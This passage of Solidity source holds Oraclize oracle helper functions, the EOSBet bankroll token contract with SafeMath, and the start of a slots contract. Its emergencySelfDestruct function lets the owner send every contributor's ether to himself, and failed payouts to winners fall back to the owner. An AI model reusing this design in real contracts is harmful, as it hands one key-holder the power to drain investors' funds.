dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract EOSBetGameInterface {
uint256 public DEVELOPERSFUND;
uint256 public LIABILITIES;
function payDevelopersFund(address developer) public;
function receivePaymentForOraclize() payable public;
function getMaxWin() public view returns(uint256);
}
contract EOSBetBankrollInterface {
function payEtherToWinner(uint256 amtEther, address winner) public;
function receiveEtherFromGameAddress() payable public;
function payOraclize(uint256 amountToPay) public;
function getBankroll() public view returns(uint256);
}
contract ERC20 {
function totalSupply() constant public returns (uint supply);
function balanceOf(address _owner) constant public returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract EOSBetBankroll is ERC20, EOSBetBankrollInterface {
using SafeMath for *;
address public OWNER;
uint256 public MAXIMUMINVESTMENTSALLOWED;
uint256 public WAITTIMEUNTILWITHDRAWORTRANSFER;
uint256 public DEVELOPERSFUND;
mapping(address => bool) public TRUSTEDADDRESSES;
address public DICE;
address public SLOTS;
mapping(address => uint256) contributionTime;
string public constant name = "EOSBet Stake Tokens";
string public constant symbol = "EOSBETST";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
event FundBankroll(address contributor, uint256 etherContributed, uint256 tokensReceived);
event CashOut(address contributor, uint256 etherWithdrawn, uint256 tokensCashedIn);
event FailedSend(address sendTo, uint256 amt);
modifier addressInTrustedAddresses(address thisAddress){
require(TRUSTEDADDRESSES[thisAddress]);
_;
}
function EOSBetBankroll(address dice, address slots) public payable {
require (msg.value > 0);
OWNER = msg.sender;
uint256 initialTokens = msg.value * 100;
balances[msg.sender] = initialTokens;
totalSupply = initialTokens;
emit Transfer(0x0, msg.sender, initialTokens);
TRUSTEDADDRESSES[dice] = true;
TRUSTEDADDRESSES[slots] = true;
DICE = dice;
SLOTS = slots;
WAITTIMEUNTILWITHDRAWORTRANSFER = 0 seconds;
MAXIMUMINVESTMENTSALLOWED = 500 ether;
}
function checkWhenContributorCanTransferOrWithdraw(address bankrollerAddress) view public returns(uint256){
return contributionTime[bankrollerAddress];
}
function getBankroll() view public returns(uint256){
return SafeMath.sub(address(this).balance, DEVELOPERSFUND);
}
function payEtherToWinner(uint256 amtEther, address winner) public addressInTrustedAddresses(msg.sender){
if (! winner.send(amtEther)){
emit FailedSend(winner, amtEther);
if (! OWNER.send(amtEther)){
emit FailedSend(OWNER, amtEther);
}
}
}
function receiveEtherFromGameAddress() payable public addressInTrustedAddresses(msg.sender){
}
function payOraclize(uint256 amountToPay) public addressInTrustedAddresses(msg.sender){
EOSBetGameInterface(msg.sender).receivePaymentForOraclize.value(amountToPay)();
}
function () public payable {
uint256 currentTotalBankroll = SafeMath.sub(getBankroll(), msg.value);
uint256 maxInvestmentsAllowed = MAXIMUMINVESTMENTSALLOWED;
require(currentTotalBankroll < maxInvestmentsAllowed && msg.value != 0);
uint256 currentSupplyOfTokens = totalSupply;
uint256 contributedEther;
bool contributionTakesBankrollOverLimit;
uint256 ifContributionTakesBankrollOverLimit_Refund;
uint256 creditedTokens;
if (SafeMath.add(currentTotalBankroll, msg.value) > maxInvestmentsAllowed){
contributionTakesBankrollOverLimit = true;
contributedEther = SafeMath.sub(maxInvestmentsAllowed, currentTotalBankroll);
ifContributionTakesBankrollOverLimit_Refund = SafeMath.sub(msg.value, contributedEther);
}
else {
contributedEther = msg.value;
}
if (currentSupplyOfTokens != 0){
creditedTokens = SafeMath.mul(contributedEther, currentSupplyOfTokens) / currentTotalBankroll;
}
else {
creditedTokens = SafeMath.mul(contributedEther, 100);
}
totalSupply = SafeMath.add(currentSupplyOfTokens, creditedTokens);
balances[msg.sender] = SafeMath.add(balances[msg.sender], creditedTokens);
contributionTime[msg.sender] = block.timestamp;
if (contributionTakesBankrollOverLimit){
msg.sender.transfer(ifContributionTakesBankrollOverLimit_Refund);
}
emit FundBankroll(msg.sender, contributedEther, creditedTokens);
emit Transfer(0x0, msg.sender, creditedTokens);
}
function cashoutEOSBetStakeTokens(uint256 _amountTokens) public {
uint256 tokenBalance = balances[msg.sender];
require(_amountTokens <= tokenBalance
&& contributionTime[msg.sender] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp
&& _amountTokens > 0);
uint256 currentTotalBankroll = getBankroll();
uint256 currentSupplyOfTokens = totalSupply;
uint256 withdrawEther = SafeMath.mul(_amountTokens, currentTotalBankroll) / currentSupplyOfTokens;
uint256 developersCut = withdrawEther / 100;
uint256 contributorAmount = SafeMath.sub(withdrawEther, developersCut);
totalSupply = SafeMath.sub(currentSupplyOfTokens, _amountTokens);
balances[msg.sender] = SafeMath.sub(tokenBalance, _amountTokens);
DEVELOPERSFUND = SafeMath.add(DEVELOPERSFUND, developersCut);
msg.sender.transfer(contributorAmount);
emit CashOut(msg.sender, contributorAmount, _amountTokens);
emit Transfer(msg.sender, 0x0, _amountTokens);
}
function cashoutEOSBetStakeTokens_ALL() public {
cashoutEOSBetStakeTokens(balances[msg.sender]);
}
function transferOwnership(address newOwner) public {
require(msg.sender == OWNER);
OWNER = newOwner;
}
function changeWaitTimeUntilWithdrawOrTransfer(uint256 waitTime) public {
require (msg.sender == OWNER && waitTime <= 6048000);
WAITTIMEUNTILWITHDRAWORTRANSFER = waitTime;
}
function changeMaximumInvestmentsAllowed(uint256 maxAmount) public {
require(msg.sender == OWNER);
MAXIMUMINVESTMENTSALLOWED = maxAmount;
}
function withdrawDevelopersFund(address receiver) public {
require(msg.sender == OWNER);
EOSBetGameInterface(DICE).payDevelopersFund(receiver);
EOSBetGameInterface(SLOTS).payDevelopersFund(receiver);
uint256 developersFund = DEVELOPERSFUND;
DEVELOPERSFUND = 0;
receiver.transfer(developersFund);
}
function emergencySelfDestruct() public {
require(msg.sender == OWNER);
selfdestruct(msg.sender);
}
function totalSupply() constant public returns(uint){
return totalSupply;
}
function balanceOf(address _owner) constant public returns(uint){
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success){
if (balances[msg.sender] >= _value
&& _value > 0
&& contributionTime[msg.sender] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp
&& _to != address(this)){
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
function transferFrom(address _from, address _to, uint _value) public returns(bool){
if (allowed[_from][msg.sender] >= _value
&& balances[_from] >= _value
&& _value > 0
&& contributionTime[_from] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp
&& _to != address(this)){
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
function approve(address _spender, uint _value) public returns(bool){
if(_value > 0){
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
else {
return false;
}
}
function allowance(address _owner, address _spender) constant public returns(uint){
return allowed[_owner][_spender];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EOSBetSlots is usingOraclize, EOSBetGameInterface {
using SafeMath for *;
